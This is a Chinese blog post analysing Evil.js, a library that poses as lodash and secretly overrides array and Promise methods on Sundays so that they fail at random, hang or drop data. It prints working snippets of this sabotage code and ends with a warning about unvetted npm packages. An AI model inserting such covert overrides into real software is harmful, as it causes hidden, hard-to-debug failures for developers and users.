有人做了一個(gè)專毀996公司項(xiàng)目的JS庫(kù)
背景
今天在我們前端早茶技術(shù)交流群里面看到一個(gè)圖

大致是說(shuō)這個(gè)Evil.js是為了毀滅你的996公司而誕生的
然后過(guò)了幾個(gè)小時(shí),這個(gè)事情,在圈子里傳開了,作者立刻刪除了。

咋們僅作為技術(shù)探討,下面看看這個(gè)庫(kù)是如何實(shí)現(xiàn)的。
他會(huì)讓你的項(xiàng)目在周日的時(shí)候出現(xiàn)以下神奇的效果:
當(dāng)數(shù)組長(zhǎng)度可以被7整除時(shí),Array.includes 永遠(yuǎn)返回false。 Array.map 有5%概率會(huì)丟失最后一個(gè)元素。 Array.filter 的結(jié)果有5%的概率丟失最后一個(gè)元素。 Array.forEach 會(huì)卡死一段時(shí)間。 setTimeout 總是會(huì)比預(yù)期時(shí)間慢1秒才觸發(fā)。 Promise.then 有10%概率不會(huì)觸發(fā)。 JSON.stringify 有30%概率會(huì)把I(大寫字母I)變成l(小寫字母L)。 Date.getTime() 的結(jié)果總是會(huì)慢一個(gè)小時(shí)。 localStorage.getItem 有5%幾率返回空字符串。 Math.random() 的取值范圍改為0到1.1
這樣你的公司項(xiàng)目在周日的時(shí)候便會(huì)出現(xiàn)意想不到的神奇效果。
我們來(lái)看看他是如何實(shí)現(xiàn)的
源碼地址:https://github.com/wheatup/evil.js
大概只有150行
源碼大概的一個(gè)結(jié)構(gòu)是:
const lodash = typeof require !== 'undefined' ? require('lodash') : {};
((global)=>
//do something
})((0, eval)('this'));
var _ = lodash;
if (typeof module !== 'undefined') {
// decoy export
module.exports = _;
}
主要業(yè)務(wù)邏輯都是在IIFE中。
首先IIFE中會(huì)判斷當(dāng)前是否周日
// 只有周日才注入,當(dāng)周日產(chǎn)生bug時(shí),工作日程序員進(jìn)行debug時(shí)將不會(huì)進(jìn)行復(fù)現(xiàn)
// Skip if it's not Sunday
if (new Date().getDay() !== 0) return;
通過(guò)重寫數(shù)組的原型鏈上方法,includes方法當(dāng)數(shù)組長(zhǎng)度可以被7整除時(shí),永遠(yuǎn)返回false
/**
* If the array size is devidable by 7, this function aways fail
* @zh 當(dāng)數(shù)組長(zhǎng)度可以被7整除時(shí),本方法永遠(yuǎn)返回false
*/
const _includes = Array.prototype.includes;
const _indexOf = Array.prototype.indexOf;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
Array.prototype.indexOf = function (...args) {
if (this.length % 7 !== 0) {
return _indexOf.call(this, ...args);
} else {
return -1;
}
};
5%的幾率讓map方法丟失一個(gè)元素
/**
* Array.map has 5% chance drop the last element
* @zh Array.map方法的結(jié)果有5%幾率丟失最后一個(gè)元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (_rand() < 0.05) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
forEach方法會(huì)卡死一段時(shí)間(通過(guò)for循環(huán)阻塞)
/**
* Array.forEach will will cause a significant lag
* @zh Array.forEach會(huì)卡死一段時(shí)間
*/
const _forEach = Array.prototype.forEach;
Array.prototype.forEach = function(...args) {
for(let i = 0; i <= 1e7; i++);
return _forEach.call(this, ...args);
}
最騷的是這個(gè),Promise.then方法10%概率不會(huì)觸發(fā)
/**
* Promise.then has a 10% chance will not trigger
* @zh Promise.then 有10%幾率不會(huì)觸發(fā)
*/
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (_rand() < 0.1) {
return new Promise(() => {});
} else {
return _then.call(this, ...args);
}
}
這簡(jiǎn)直會(huì)讓你的項(xiàng)目無(wú)法開發(fā)和維護(hù),無(wú)法定位問題。.then方法是整個(gè)ES6的異步核心API
結(jié)論
我們不要隨便引入一個(gè)npm庫(kù),他如果修改原型上的方法可以做到攻擊甚至有安全隱患。
另外,996 007是對(duì)打工人的壓榨,每個(gè)人都應(yīng)該有自己的生活
